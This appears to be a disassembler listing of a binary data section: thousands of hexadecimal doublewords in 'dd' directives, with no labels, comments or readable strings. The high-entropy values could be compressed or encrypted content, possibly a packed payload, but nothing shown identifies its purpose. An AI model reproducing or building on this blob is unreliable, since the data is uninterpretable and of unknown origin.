		dd 0EEE4801Ch, 634CCDDh, 0A1F0C381h, 66AD8C6Eh,	834B294Bh
		dd 2D90545Eh, 0D9693ED1h, 0E1F1934Fh, 0A5096BF5h, 603F8EEBh
		dd 0D858DAC0h, 27E89D01h, 707B2F16h, 7D8A555Eh,	3A32294Eh
		dd 0D9F7C704h, 0B44C17F4h, 5A133E11h, 9630AB38h, 69BF5BA9h
		dd 8955AB5Eh, 0EF0390B1h, 0AE4C1EC2h, 810DD215h, 7C1D6856h
		dd 34DD4F72h, 72D96883h, 0C0522EEh, 6655210Ah, 0A3E929B0h
		dd 140C4108h, 46500C2Eh, 8B09E641h, 9C5ED574h, 14130F86h
		dd 0EDCA11CCh, 0FB9C07E1h, 0ACA04E9h, 0D912DC5Bh, 12A4A708h
		dd 3901FB5Fh, 8708EEC1h, 3BB57CCEh, 0CD00A7CCh,	898E4D43h
		dd 322FE9F5h, 0C81F4A8Dh, 82885638h, 2B09E6F6h,	91F394DAh
		dd 1BB508F0h, 10122B24h, 2D5FF2E8h, 88B3DDDh, 42E51E9h
		dd 0EB32FF5Dh, 49E17B25h, 8EECE62Fh, 87B5340Ah,	561B2248h
		dd 154051Eh, 0F401FED3h, 5EFB6C1Eh, 0DDF1FD50h,	0A8B027C1h
		dd 94E21A48h, 644B65A0h, 0C0F6130h, 3EDB3A37h, 0FD51011Ch
		dd 820C0806h, 7739FF14h, 910A07A3h, 0D9E78509h,	0B5569289h
		dd 52E8F953h, 60555FA6h, 251C82C8h, 0AC5462B8h,	322DE904h
		dd 71A12CB8h, 0CB2900CFh, 0CA919059h, 8A1D104h,	660D4923h
		dd 0BFE424BEh, 0C140ABC7h, 228E2AE1h, 0D5EC180h, 0A8F9DC30h
		dd 32567BAh, 7BD6F201h,	0EFBE2756h, 0FC352A7Bh,	58E9D6A4h
		dd 0CA80F51Dh, 606F3893h, 0C11768D7h, 6B00B2BCh, 8147F529h
		dd 101667CFh, 61133B5Bh, 2BFA865Dh, 0CE88A3C2h,	0D2F707B9h
		dd 32D83792h, 97E9F281h, 0AAED44DFh, 0B5C36C98h, 82BC31CEh
		dd 62AA8509h, 3CBE656Fh, 0AB1F8815h, 4E8AB010h,	317B00A3h
		dd 0B33BF7A3h, 65323B11h, 2604DFB7h, 80AF8482h,	5CC980ABh
		dd 972AB692h, 0CD049535h, 120A3F6Ah, 75DDC7C0h,	0E99209EDh
		dd 6771B92Eh, 844B93A8h, 0CB851412h, 1E6228FFh,	0B64E1A40h
		dd 9D8284Ah, 9D0E3A5Ch,	5455127Dh, 0BBA245F5h, 0C02DC483h
		dd 0EA590731h, 89DD1243h, 0EFFB1B7h, 0C9E15A9Bh, 4D22CC3Fh
		dd 0A43AAE41h, 0BE0BEA84h, 8BC34495h, 2EBC057Eh, 2D7B85CAh
		dd 0C14403ECh, 1D15834Dh, 55A64D5Ah, 6D065824h,	58241B2Ah
		dd 0EB0058EFh, 7974204Bh, 3959B3E9h, 25F491E2h,	0D2715235h
		dd 0A2CFEEEh, 5E25404Dh, 0F5F0C7FAh, 82DC994Ch,	75FC1339h
		dd 100A7080h, 95A05634h, 0F91F0833h, 8B28292Dh,	2E09F706h
		dd 40BAA33Eh, 0BA0552D1h, 4C94736Bh, 10F88C0h, 1742F2A6h
		dd 414554E9h, 0C42CD8BEh, 78A7E952h, 9F984A65h,	0E3024AD8h
		dd 46E81186h, 266FEA00h, 0F229755Eh, 8A0C2F0h, 8A9F9AE9h
		dd 29C54FFEh, 257DFC1h,	934CED15h, 0D892F9ADh, 3E4A5C5Ah
		dd 0B9D63FFCh, 81CB845Ch, 0D28446ECh, 19BF4C3Ch, 1CDA4CF7h
		dd 0F627FE20h, 0B9BF74D5h, 0DBF8C4A7h, 0DCEF2833h, 90244B9Fh
		dd 123EBD66h, 454E9E01h, 7AE9EDD1h, 0F2CB402Ah,	22EF1784h
		dd 0BA2098B8h, 0BD5B5C8Dh, 0F38CD27h, 1254AF68h, 56B9FA9h
		dd 824FE1EBh, 3E6EEAF4h, 7D1D029h, 0A7A4FEF2h, 0B2BF35D0h
		dd 808F46D9h, 2A1C636h,	169B79Eh, 11625EF3h, 53278E7Ch
		dd 0ABE9C194h, 12532A0h, 1C5F3895h, 0CB7EEF29h,	275A109Eh
		dd 0E50CC04Fh, 9A2E1DF0h, 0AD006E19h, 1F6676Bh,	305D4CEBh
		dd 29142A49h, 31108CDEh, 57B6FADh, 40BA0E6Ch, 0CE6E2F6Ah
		dd 9CCFC148h, 8264E64Eh, 0BABD502Eh, 0A8704EAFh, 3940769Ah
		dd 4EF9EC50h, 8249FCE6h, 84CEB551h, 76C2F4E8h, 0D5086286h
		dd 3E062E08h, 201205Bh,	0B4005053h, 58E388F7h, 9832B652h
		dd 80F50692h, 502802C6h
		dd 595EEE75h, 0FB405AC9h, 7B57346Fh, 3C2E132h, 1ABACB01h
		dd 0C725ACFCh, 0B3EAA84Dh, 4AC1A03Ch, 0B9D60127h, 206C3AC7h
		dd 4702C9D8h, 0C1125A19h, 0F10160E9h, 0AE2128F5h, 1F26F4B7h
		dd 0BE43A627h, 2C1968D9h, 2A57A803h, 0F3800403h, 39CB99CFh
		dd 91DEB8ECh, 3DB48EFh,	2CD9788Fh, 397A0C02h, 7C291196h
		dd 2808208Eh, 9F14BB53h, 3B5A8DE1h, 0BB00F1F6h,	22B660A4h
		dd 0E76238E9h, 5F65EB81h, 2C2668ECh, 0F43A3A15h, 9F288D96h
		dd 5A812F20h, 3670E4F6h, 82C7995h, 0B2053DE8h, 5D81207Fh
		dd 0CDAC8DFBh, 10C22558h, 8BB74500h, 87EEFC0h, 0D133E325h
		dd 5AC8A248h, 6058F055h, 0BD33D90Ch, 13290B46h,	1A0159CDh
		dd 0C6412BEDh, 0DE9907F7h, 0FED482Ch, 55E95854h, 599D1F50h
		dd 0FD005AACh, 63FA4368h, 36B85D4Eh, 0F8D81797h, 0E8C1A06Dh
		dd 46E9250Eh, 1C5C9542h, 0AE92B0A0h, 7F614EFCh,	0F4562D1Ch
		dd 0BC2640DAh, 54018024h, 5A56CEB5h, 91ACD858h,	0AC1DBE9Eh
		dd 6494F38Bh, 9C0816F7h, 2A19FC38h, 0F6FAB116h,	103F500Bh
		dd 0C8E81345h, 41A1C52Ah, 35E12BCAh, 0BE58533Bh, 0EC9B7C04h
		dd 272CCFCDh, 84095327h, 7D7E5FC2h, 0BB43C88h, 0F587C9FEh
		dd 84A33EB3h, 462D1F6h,	56889614h, 11F098Fh, 76722D7Eh
		dd 81859348h, 47EBBCBh,	0A4E076E1h, 45091F4h, 0EE6650B8h
		dd 9B948C3h, 0C6E97E70h, 0C89DD370h, 0E615FC9Ch, 0E42D006Fh
		dd 544A253h, 0AA0908B1h, 0A9B4E978h, 47EC8BC2h,	0EECE88BBh
		dd 80BCB700h, 482CC6F7h, 0A205F02h, 86908BBAh, 0E25F401h
		dd 28E95572h, 2919BE7Ch, 1B36AC1h, 657CC830h, 447D01D2h
		dd 30E0F580h, 660BAD80h, 512DE368h, 0B6990BD9h,	5548D6E4h
		dd 8854279Eh, 65081258h, 21923E95h, 0A287F87Eh,	0F827073Ch
		dd 6FBFC281h, 4B2177A9h, 5A272C6Ch, 14EEC4Ch, 7DF7A644h
		dd 36766800h, 5A5C270Eh, 0D25D0523h, 12AAFD82h,	0BBFE0F7Fh
		dd 924EE372h, 93B6170Ch, 8199A043h, 0B7A30FF3h,	0CACDC92Bh
		dd 0D7B43A3Bh, 0AB4609D1h, 3F5E5A1Ch, 0FD07E962h, 8BD3F421h
		dd 37630114h, 4342BF00h, 0BE78BA01h, 8745BCC2h,	0E48AB02Eh
		dd 6C3DC62h, 829E710Dh,	4D9C42D7h, 317DAF60h, 7012C525h
		dd 26210E39h, 0D7894737h, 8E28A609h, 929E08EEh,	0A20FA328h
		dd 65535A63h, 7097284Fh, 5DCF8872h, 0E4E667A7h,	5AA692B2h
		dd 39C1F2C3h, 0F7296AA0h, 0C0D2647Eh, 237207EBh, 0A1B71976h
		dd 20ADE983h, 60FACF64h, 2AF0265Fh, 82FC2670h, 0A2BC904Ah
		dd 0A0DC2D80h, 60F1F315h, 6880CB2Fh, 0A32A4F95h, 2DE11043h
		dd 2093BB03h, 57906FB9h, 0CA7F0D98h, 0DE2F7D25h, 0A94BCF62h
		dd 5E489A50h, 2E651347h, 17761CB4h, 1F439B72h, 0E95E5892h
		dd 653C13BBh, 0A8317A5Ch, 3BA989FDh, 53325196h,	0CDFF1D72h
		dd 7F0EE274h, 62FDA132h, 5153F1B8h, 0E6DDADE7h,	55591FE0h
		dd 92298B54h, 0E9E27273h, 81DFD61Dh, 0B72F64E1h, 0F6E0DB6Ah
		dd 0AB75088Ah, 48CE7231h, 9F7C015Eh, 97282B4h, 551EBA7Dh
		dd 0D16B94A5h, 2656581Ah, 20D52F6Dh, 2824EABDh,	3F2540B7h
		dd 9D901CBFh, 0F1282F45h, 63B73492h, 4063DE4h, 0E4F17393h
		dd 242848Eh, 0B706B514h, 0E7FE124Bh, 0BD532476h, 0C20A3F07h
		dd 0F3ED0F3Bh, 159E80E8h, 3258D3D6h, 896F6A06h,	12013233h
		dd 0E91B963Eh, 0D6240C78h, 4AEDEEC3h, 360E38Ch,	19DE1F38h
		dd 181E1329h, 0CBF6ECEFh, 0BAE040D8h, 0D97E12D0h, 0F90D0F7Fh
		dd 5562E90h, 34272F00h,	0FCCE891Eh, 4BA0B2FEh, 0A2F4BD5Bh
		dd 788F8CFh, 3E2097BBh,	0E079A472h, 0DDB05A3Ah,	0C8311017h
		dd 0F4A4B8BCh, 0A440654Bh, 88D301F6h, 0B3535BDAh, 70CA611Dh
		dd 6665AC93h, 98C49E14h, 0A6420DAFh, 0B1046B0Ch, 0F4A8944Eh
		dd 165902A2h, 7CF1F689h, 4E688477h, 0C335EF49h,	0BD1FC095h
		dd 5780E2E5h, 0F6F8FF48h, 31BC6017h, 56069EA8h,	0F5B430E9h
		dd 298456B6h, 29FA5BD9h, 90DC3BADh, 0A3909F5Ch,	64977AF5h
		dd 68530360h, 0F2B1363h, 928A3EF1h, 0B312DB87h,	0E8C9FA84h
		dd 0C044923Fh, 78AD377Ch, 67F80B4Ah, 342A49FCh,	4E092223h
		dd 0BD9E25Ch, 0F12E08E9h, 7CCFCFBDh, 5B868E35h,	0C33E9E56h
		dd 0E862B023h, 4C70ABCBh, 0F31EECD1h, 7ECCCFB8h, 5C66E380h
		dd 7FB86C0Ah, 8103E03h,	79DE890Ch, 24270936h, 0DA8F6711h
		dd 2508C30Ah, 829D9272h, 7D9AE73Ch, 6B4781B1h, 0D5C69B45h
		dd 0E15B0EA8h, 0D67A6222h, 0FAA831C5h, 0C42CFFB5h, 366025E9h
		dd 5FEC7D5Ah, 0B97CC2E1h, 0CD32775Ah, 0E64F1FECh, 0EA809141h
		dd 0F4302872h, 0D8A25E32h, 10F10690h, 294798EBh, 20861D8Ah
		dd 20E99008h, 85BFE490h, 0D8FC5568h, 0F6CAB507h, 0B43F92D5h
		dd 68131564h, 0F0E32EBh, 5F097088h, 376CC801h, 0E1CE719Dh
		dd 9310D668h, 4381C8C7h, 2A20EB29h, 5A590CF3h, 390C4176h
		dd 703A1718h, 1767B2BCh, 0AD894821h, 3F8C0280h,	0CA017D2Bh
		dd 108262A2h, 1702C1DAh, 942EE41Eh, 0B608179Ch,	0C2B12D5Bh
		dd 0DDD5094Fh, 0B6DFA716h, 6750524Eh, 0E36E94B8h, 0DD788B35h
		dd 40E6CF87h, 8D8500Ah,	1E222605h, 0C0832586h, 9B8C6168h
		dd 3B8A45D0h, 23102DE2h, 5E592579h, 7B5447FFh, 45356E80h
		dd 0FBFA3D95h, 3139DEB2h, 81F11CCEh, 46438983h,	0BBC9B04Dh
		dd 57EF2F15h, 8F0E48F3h, 0F720E073h, 5CE5C1DDh,	11177A05h
		dd 105BBDC2h, 5B12D5D8h, 0F6BA0043h, 56769D3Bh,	3E13BE02h
		dd 78095080h, 0A95C2071h, 4214BF02h, 8931118Fh,	600BDFC5h
		dd 9C163DFAh, 83058418h, 0CF47DF21h, 89B2BFF5h,	74E48560h
		dd 2116FBh, 0CD7FE19Ch,	0A0F90175h, 0FEC0081Ch,	794C2F1Eh
		dd 0C5B42CE9h, 42756A34h, 7409F3DFh, 2388079Eh,	0D58F051h
		dd 21EC27A8h, 0F09294B0h, 0D95D5F2Dh, 8C7925EEh, 0C0C2E9C1h
		dd 0DCEEB39Eh, 0F1021225h, 0B4FCF874h, 93FAD39Fh, 52C82C50h
		dd 8894B209h, 62AF5ED1h, 15745FE9h, 67F2500h, 556D9Bh
		dd 8C3FB6BDh, 0D099E976h, 0BF997F82h, 68972460h, 32750C2Ah
		dd 3DB8501Ch, 3210040Fh, 21E354EEh, 923EF10h, 0F9D831ADh
		dd 305F4986h, 0B4955D71h, 2D5393A4h, 25EDBFD8h,	16510EDEh
		dd 0C95AFB05h, 0AFE430E8h, 95667788h, 5442CDF1h, 0F86EC05Dh
		dd 47C79D26h, 0DCACE22Dh, 0AEDC6AEBh, 4919C80Ch, 848F0302h
		dd 2BB75300h, 7CB17251h, 4B647E80h, 0B8F901AFh,	0FE3B5596h
		dd 0A53F0EF6h, 5DE940ACh, 0AFA54968h, 0F3D2557Bh, 141A75EEh
		dd 8864DDB0h, 27180258h, 0D3F1A077h, 0F671F656h, 5CD39A66h
		dd 154CDC5Bh, 1373B279h, 12D2B050h, 0B804FB2Eh,	40FBA504h
		dd 252484ADh, 8274BA19h, 1E80AD1h, 215A5E52h, 59281C77h
		dd 852E05B3h, 1D09B45Dh, 0E8BA7D10h, 0F109315Dh, 59E247AFh
		dd 375D0680h, 16B87EF8h, 42DC5B2h, 883BE563h, 0BD01C507h
		dd 112F1D37h, 4680E235h, 3B63132Eh, 0A14F78E9h,	9C90F7F6h
		dd 29802B2Dh, 463F9368h, 0D8C3054Eh, 803805E8h,	0EA085CEEh
		dd 7A1F0105h, 0DD9C34AEh, 21169ABh, 0EE895B5Eh,	0A34B775Dh
		dd 0CE5508B2h, 715E036Ch, 4FE931BFh, 0D4B7B8A4h, 0B1D1021Ch
		dd 0E4F92860h, 93926960h, 0C03883D7h, 0ABC7402Dh, 0E2F94A31h
		dd 0BA371015h, 4BEAC4Ah, 0CCB211Eh, 1686FA44h, 6C13F9FCh
		dd 30643277h, 3E32D672h, 60EF27D7h, 246FB90Bh, 1B162EAh
		dd 0FBEEE556h, 8EE9F829h, 0BB1D4A9Ch, 4E341087h, 5237ABAFh
		dd 0ED524B60h, 59EA1D7Dh
		dd 0E1D456h, 617E2425h,	4DEBBE9h, 0E84061B6h, 244E2745h
		dd 168B18F4h, 0A9D4CA97h, 22AE0B06h, 0D541B768h, 81BC260h
		dd 0C944E75Ch, 3C659AEh, 754635B6h, 6ADA34D9h, 1058A461h
		dd 75E18449h, 0A113AE04h, 2DEA72C5h, 5F8D2F7Eh,	8AD22322h
		dd 2AF05825h, 4CA093C2h, 264BA468h, 1B205F8h, 50C0E974h
		dd 0B46EE957h, 924A1D28h, 8523E926h, 60040966h,	0BD13D5C1h
		dd 0C5C3161Dh, 0CC2DEE23h, 29A9B900h, 3F478B2h,	44E5815Bh
		dd 9892D3D4h, 0ABF56122h, 0BC30C780h, 0D9C6AC3Ch, 398504ADh
		dd 0AC5AC3E8h, 0B304E5DDh, 9D98BDA0h, 1762F68h,	0E984BCDBh
		dd 0DDEB2142h, 2AE2FD8Ah, 59692B2h, 0A3E63117h,	23F55B15h
		dd 78393CA4h, 41F35EF0h, 4F708A2h, 93161DAAh, 475A0DDAh
		dd 4BC33253h, 642FD9Eh,	6CE3680Bh, 0A14A9457h, 90511BC9h
		dd 8731F530h, 0A072E26Ah, 2568C5FEh, 0E366449Dh, 80A3B306h
		dd 4C0666EBh, 0B120F0A6h, 0BB8A3500h, 0C289EEB0h, 94D0DC58h
		dd 0FE13AAD2h, 81DAE4AAh, 4194C64Fh, 29B40EAFh,	0BB1D3CC4h
		dd 0CBF3334h, 0D91447DCh, 52BD3F1Fh, 0C69782A4h, 3002471Eh
		dd 7C555332h, 2DEC26Fh,	680456E3h, 246E1415h, 4C12FDA8h
		dd 2E30BF76h, 0F5E0685Eh, 3277462h, 40BBAFAh, 0F4525B02h
		dd 8FEB6325h, 9A8004DEh, 0F122DC1h, 0CEBC5E13h,	101A1D96h
		dd 166161Ch, 197502F8h,	125F3B05h, 0BA2DF1D8h, 7F12120Fh
		dd 0E8C574EAh, 45680B76h, 0BBBD108h, 0BC4AFCDEh, 0B80A9B40h
		dd 785C9883h, 0BE750123h, 2284151Bh, 89E76031h,	0DED0F14Bh
		dd 3B210EE1h, 0E90B304Ch, 0EE89787Dh, 155E6B00h, 35025D32h
		dd 5CD7CF5Ah, 0E99EE031h, 2DF2BCEDh, 0F15DD340h, 890C990Fh
		dd 0DC54C4C8h, 0CC0C43AAh, 0C190113Eh, 810008E7h, 32B59EFh
		dd 0B6B8E912h, 0CF5F2C86h, 9EE13C6Bh, 0C23BFCD1h, 0A6840F0Bh
		dd 5E1C551Fh, 0C1AAE92Fh, 17605E68h, 2A799F8Ch,	5C2539A4h
		dd 0E5775083h, 2D685980h, 129908D4h, 0B4D57464h, 0E304FB70h
		dd 9C38058h, 120F6785h,	12D9014h, 142FDC7Bh, 8AC09790h
		dd 0F25DB0Bh, 441B0E85h, 0E6519668h, 59C4FE51h,	0B902028Eh
		dd 0FD71A662h, 0D0123CE3h, 2F20E34Eh, 30476502h, 0F30E4B37h
		dd 62CF895h, 40A3889h, 6F0314EFh, 0B03A465Bh, 373FB0E3h
		dd 32187CDAh, 4A61883Eh, 0EDE54ABh, 0C24CD0E7h,	969D5608h
		dd 90CB086h, 0E5C17DE1h, 7FEDBE83h, 455360C8h, 0D05B4798h
		dd 126483B4h, 0BD8CB29Dh, 24A7394h, 0F7667560h,	3B5F90F1h
		dd 8ED8547Dh, 726B484h,	4CF51ACh, 24EAD2F2h, 1AC5BEC8h
		dd 0ACC76EACh, 0B925F554h, 0E55B2768h, 88ADA04Bh, 2FE9F015h
		dd 392005B7h, 2B7D0322h, 0DE840BDh, 776A0241h, 0E5A4E953h
		dd 0EC883AF9h, 97C11F71h, 845BE70Bh, 9AAF3487h,	85265987h
		dd 20FFCA29h, 20478137h, 521D0167h, 6AA6F6CEh, 8788ED1Ah
		dd 2F09058Fh, 65BD5AD8h, 0D1D262Fh, 361E7244h, 0E2949305h
		dd 47899861h, 0D231A240h, 8CEA4968h, 0E24B8558h, 0CB110F9h
		dd 0E2C16605h, 0C0AFC505h, 4345BD29h, 7D313AC9h, 0E8B99005h
		dd 4B55750Ch, 0C61F6AA1h, 582F8FC2h, 0D042D735h, 3F00CFD4h
		dd 0D8E96F23h, 0B91BDF8h, 710EDDBAh, 7B57F421h,	25E11BCFh
		dd 8849C1D7h, 0CB4C00E3h, 4C542345h, 9B0EBF68h,	923E264h
		dd 60FF5BDAh, 2E902648h, 3D7537B0h, 0EEC5B780h,	9C209A4Ah
		dd 6E7552C3h, 2870609Eh, 51BBF780h, 9AF98835h, 3E1A1753h
		dd 9CC875DCh, 0C625835Fh, 0A8A97902h, 93C8DC80h, 0AD234053h
		dd 7C5EBA52h, 0AA167028h, 0BF20037Fh, 0B08F980Dh, 3A6C1374h
		dd 23BB043Ch, 315E0418h, 7F1BC9EFh, 1B2CB0D1h, 0E904F0C0h
		dd 2AD22D6Fh, 0BE12E594h, 5FB042EEh, 0BBF1E0D3h, 47666841h
		dd 0AD23357Fh, 0B1164A99h, 87E95402h, 0D7EDA4A3h, 0AA1DA4F6h
		dd 167D007h, 98DCD81h, 0E12E4E9Fh, 0CC13ED1h, 0A728DC8Bh
		dd 117B68A0h, 0F273E697h, 2998B7ECh, 958EFD3Eh,	0F14C6325h
		dd 4D8A3EC4h, 0CB27FE20h, 0EBA75976h, 5467E476h, 31CB94EBh
		dd 0BB893FE9h, 0C5842E14h, 0FDAB89EAh, 1E25F3C8h, 0BA4BC364h
		dd 0E95A0401h, 0D3B85B4h, 4B933998h, 167821DAh,	3CD30490h
		dd 2A85C96Bh, 52723B88h, 0BA5F7D3Dh, 0D2EDA241h, 0B16A9C6Eh
		dd 40704163h, 0DC9A2E32h, 0AB54592Dh, 7953F3E0h, 9CAF86Ch
		dd 7D9C095Fh, 364A0F5h,	888202A4h, 0E918D101h, 0C14B181Ch
		dd 2085DE1h, 14A2CB04h,	2D1EFE33h, 9A847616h, 4493DCFFh
		dd 0B1DF6F41h, 0C983A299h, 0B657B3F1h, 1C18390h, 117A12C7h
		dd 185E10B6h, 0A2F1B9Eh, 0D19D24D5h, 33CB01BEh,	970EF006h
		dd 3C20E61Ah, 5E472CCEh, 6C708634h, 0DD765E2Ch,	9CBE5A44h
		dd 0D459E980h, 4F8A58FDh, 0AF3C7729h, 3E257402h, 7B5CB0E9h
		dd 23E85617h, 8045FAB5h, 5BCC0E9h, 0A279532Dh, 202656C6h
		dd 3100266Ah, 0F22D5BDEh, 24766F0Eh, 2043F029h,	90E9408h
		dd 19E132E9h, 0A35785Dh, 0EBC9CE0Bh, 9B51D002h,	0F1DE12Ch
		dd 26E7BF9Ah, 3C05036Ch, 1174D19h, 802A7F1h, 528F45Bh
		dd 8DC989E9h, 75E0E1C1h, 0AED92A44h, 5BDB8930h,	76CA910Ch
		dd 718104D4h, 0BB01899Ch, 0C880B07Bh, 34A713F5h, 1E80116h
		dd 4D68EAD3h, 7396804Fh, 0E94A1F6Fh, 11F54949h,	995DFD50h
		dd 38B28943h, 0F31E9085h, 0FE66252Eh, 6E1542DEh, 81103BC9h
		dd 4B0CB90Bh, 0EFD0D3Fh, 0CD3BFF25h, 2CF9ED13h,	665803B4h
		dd 0F7247C01h, 0EE188259h, 0E0335E6Dh, 68C8BF0Fh, 53701726h
		dd 2C2DD8C6h, 98DE7C1h,	26767478h, 2163094Fh, 0D388534Fh
		dd 846AC6E1h, 93D7B2D1h, 59145CCAh, 0AC4BFE21h,	0C8311204h
		dd 5A99F5B0h, 0D21AA8F6h, 919065EEh, 28B7471Dh,	180B9E8Ah
		dd 0C27814F4h, 50D0F70Dh, 936414FFh, 0E95682D0h, 0EE4A92FAh
		dd 62A0407Dh, 55EA83F8h, 0B05F83A9h, 0C8732893h, 81814521h
		dd 0AF3244EBh, 71CBCC41h, 0CA5FC512h, 5F195519h, 3DAE0583h
		dd 5CDB9D2Ah, 8E04C5D7h, 769013FCh, 3D2996F3h, 77936225h
		dd 0C0D1AD84h, 0B6685BDDh, 0D646B57Dh, 53CD1D54h, 704F07ECh
		dd 8320BF45h, 8F3B0BFAh, 6F81D883h, 0ED1478D0h,	9E2765Dh
		dd 5845A89h, 0F29412C1h, 25EC2CD9h, 816C58Bh, 16E3C2CFh
		dd 9F1E94FFh, 0E320F945h, 0B55918Ah, 7D2B322Fh,	680047ECh
		dd 76A64ABFh, 97879DE9h, 0BD0B96F3h, 6F105E74h,	12A7F726h
		dd 564C2927h, 101D6063h, 8A25B08h, 2426C5Ch, 68530378h
		dd 667936D0h, 305E6298h, 82109FB6h, 0F35E271Bh,	47680138h
		dd 7A7C6F0Dh, 0FF51B88Bh, 9FAC52EAh, 0C6ECFF5Ah, 7B5A1D09h
		dd 6A28DF66h, 35CD2C08h, 0D34D04C5h, 7BAB8AD1h,	1782DE30h
		dd 2C22CEEBh, 3CDE2A59h, 0A008C328h, 71ADCB73h,	0CBEFF3Ah
		dd 1E8B7889h, 5EA55580h, 0F7F8091Bh, 0D322B505h, 0C5824F46h
		dd 0BC8409CAh, 525CD42Ch, 683680ACh, 92953E1Ch,	95A14E5Fh
		dd 8B585C40h, 0A91C4Fh,	932DADE5h, 4EE9282Ch, 5EA0C058h
		dd 5EEC589h, 8514343Dh,	2DE80113h, 0CFE90705h, 0F13743BBh
		dd 79BA776Bh, 5E4E5874h, 2E933C52h, 80E10F06h, 2D09DBC6h
		dd 4052B1C1h, 0A676468Bh, 0B340779Ah, 31F2A68h,	418AFA78h
		dd 0CC222B1Ch, 0C93BFC01h, 8E724D10h, 20ABBB9Dh, 2198CD16h
		dd 0A146A602h, 0E3DE8713h, 0D1080100h, 60E681EEh, 4EC2203Ch
		dd 1EFE92Fh, 5AD7891Bh,	10DCADA7h, 75EB688Bh, 2C55E219h
		dd 0C48082C4h, 17FC71F0h
		dd 3A6CF8D7h, 0E907E2EBh, 728B7F3Fh, 0C852FFDCh, 902D76B4h
		dd 4CC1B971h, 984A7C6Ah, 7F256631h, 2381EB04h, 0BA205D0Ch
		dd 20C29344h, 56FE40BBh, 10AF5558h, 0F250E4A4h,	3629836Ah
		dd 8B25B1C2h, 8BD7353h,	0B90F7098h, 77156921h, 76E76C0Eh
		dd 9F845B18h, 0F2EE1F72h, 0D6CECF0Bh, 4DEA5060h, 373B0B0Bh
		dd 82A97001h, 0A15A6508h, 56F613EBh, 5A2CE743h,	34C89DFDh
		dd 90A75609h, 952182BEh, 22D04FCAh, 8BCE27B5h, 614A5929h
		dd 0C16A11BFh, 0CA8D6F1Eh, 1DA3FF00h, 0F850B596h, 0FD426709h
		dd 249ADF02h, 802A42C8h, 292B3404h, 69B65FF9h, 329FA63Ch
		dd 5DE98D3Bh, 6B96122h,	64030C0Bh, 5749CD5Bh, 0FA81DD51h
		dd 696ECADDh, 7AE22B71h, 9AAEE982h, 4DDD9455h, 0BF3B8A59h
		dd 29CC4D06h, 0E1A0A201h, 0EF3B7C76h, 4DB506Fh,	1819B030h
		dd 51DD8F43h, 46F4DB6Eh, 292D105Bh, 590840CAh, 1206DFF3h
		dd 73FF2015h, 7CA9012Eh, 6EE94999h, 0F78F8069h,	900BAE51h
		dd 0A9FA5B01h, 53FC9743h, 3FD889F1h, 4335FC8Bh,	5AC9AB57h
		dd 4A6DDD20h, 8022A21Dh, 7D76F4F3h, 2721507Eh, 88D649E9h
		dd 26572D01h, 705A1BD0h, 0C0EAA1Eh, 0DE015418h,	5511ED1Ah
		dd 0E92EDACEh, 5993C650h, 0E9B1FCECh, 0DA382595h, 846F5974h
		dd 5EB471B2h, 41BB41B1h, 83535E85h, 0EE6EB362h,	9151E829h
		dd 0E9D60C11h, 5D28804Bh, 27DD313Ch, 0C1000294h, 42005DE3h
		dd 704663DCh, 0F24B4Ch,	910896A6h, 9DCC8DE9h, 0F0C5771h
		dd 9486BCB6h, 8E5C25B3h, 5195825Ah, 7B4677AFh, 0B6DE1F20h
		dd 0B5580B72h, 0ECC6BA64h, 0BC9A1C6h, 471868C3h, 517A4F66h
		dd 810F7C06h, 76545931h, 71DE606h, 89D3BAD0h, 4DB9C0CEh
		dd 337D4C92h, 68B7F362h, 49ADAF63h, 448F00Ah, 8541D5BAh
		dd 2707CA08h, 8AE6392Dh, 298CD255h, 8CAE5F8Bh, 0F84A19BDh
		dd 5FCA8D9Dh, 680F1190h, 0DCEF95A9h, 0D9B5176Ch, 60632F8h
		dd 29447956h, 5FE95801h, 0ED299325h, 0D5C0121Ch, 21CC43ADh
		dd 465D05EEh, 217ABCE9h, 5BE8345h, 0B5925EAh, 0DA40E669h
		dd 42E44A66h, 0A79520E9h, 0F20A5B61h, 0D7FAC760h, 6CC26AE2h
		dd 0FD9CF30Fh, 680938BEh, 89890FBDh, 7105EB27h,	2EB5CA0Ch
		dd 0CFBC7485h, 0AD80C04Fh, 0EE7A4056h, 6C011AD2h, 0A9A3D95Eh
		dd 12B1CFD8h, 0AA611D28h, 4F026612h, 0FE6C96E9h, 19C8332h
		dd 17D94C88h, 0E57507D4h, 718F8605h, 0F19328BAh, 5BC85E4Bh
		dd 57722D68h, 7BB4E468h, 8E5895B0h, 0C5E914A3h,	75EE0334h
		dd 0DBEC5C95h, 8000AC93h, 0B15138CBh, 0D2B7C5A3h, 22727623h
		dd 4FD58320h, 23EA8D53h, 841A942Ah, 0AD13E53Ch,	0DE4ADF2Dh
		dd 960B2C86h, 0C264F668h, 0FE548DB5h, 0A0D58269h, 0AE590481h
		dd 4B9CBBC6h, 8881442Ch, 0D8B9009Ah, 5C399061h,	0D533FB87h
		dd 2E098108h, 78C66F9Eh, 0F379B5D1h, 88D2CAADh,	0FEA58424h
		dd 2781E987h, 301B44C9h, 5272E9DAh, 0C8CE572Fh,	26CC2BBBh
		dd 279B0ECAh, 0F867597Ah, 147B66A4h, 302D0020h,	5619017h
		dd 0F60B0848h, 0E2CEE91Ch, 9FA716BFh, 0BC094778h, 70F3993Ch
		dd 0F029052Dh, 0BAE3FBE9h, 4EB89530h, 0CE6E4CCDh, 7DD7667Fh
		dd 570BA45Eh, 822D3644h, 0C8F782Eh, 0D86294A2h,	0F25DEFB3h
		dd 12D89845h, 0CFB617Fh, 68310AB0h, 8D5F5704h, 0F8F45B21h
		dd 8E031943h, 0C3DD0C40h, 14C02DAAh, 4624B2F6h,	5270384h
		dd 97AF314Ah, 0C5E1A2D7h, 0F62DCEDFh, 0F28A4B09h, 67277811h
		dd 0C18E3A99h, 8F879D44h, 0D9DC411Fh, 82CE3F3h,	9B88F72Eh
		dd 14B82C17h, 37F6B0E7h, 0DCC20925h, 0A0DC4B0Fh, 4E830D6Ch
		dd 0B5EFECEBh, 0BF465FEh, 0C26A6C36h, 619263C8h, 0E891BB51h
		dd 4D28798Dh, 373EC92Ch, 0E97185A8h, 87347C26h,	4CDA582h
		dd 0FCC68053h, 3073C980h, 0A7FE9FFAh, 28249E92h, 0AA17EEF3h
		dd 0B0744BD1h, 0E0B6C92Eh, 289DF479h, 0C027A914h, 9F55CE0Ah
		dd 399EFE2Ah, 0F62FE120h, 7C7152D7h, 0BB385999h, 3BFAF15Fh
		dd 0E46AF389h, 2E20E9DDh, 17F59001h, 0A808E7C0h, 100404A3h
		dd 0CEAC782Ch, 0E9E0ED74h, 0E6ED44D3h, 0CF1B0603h, 0D3C68351h
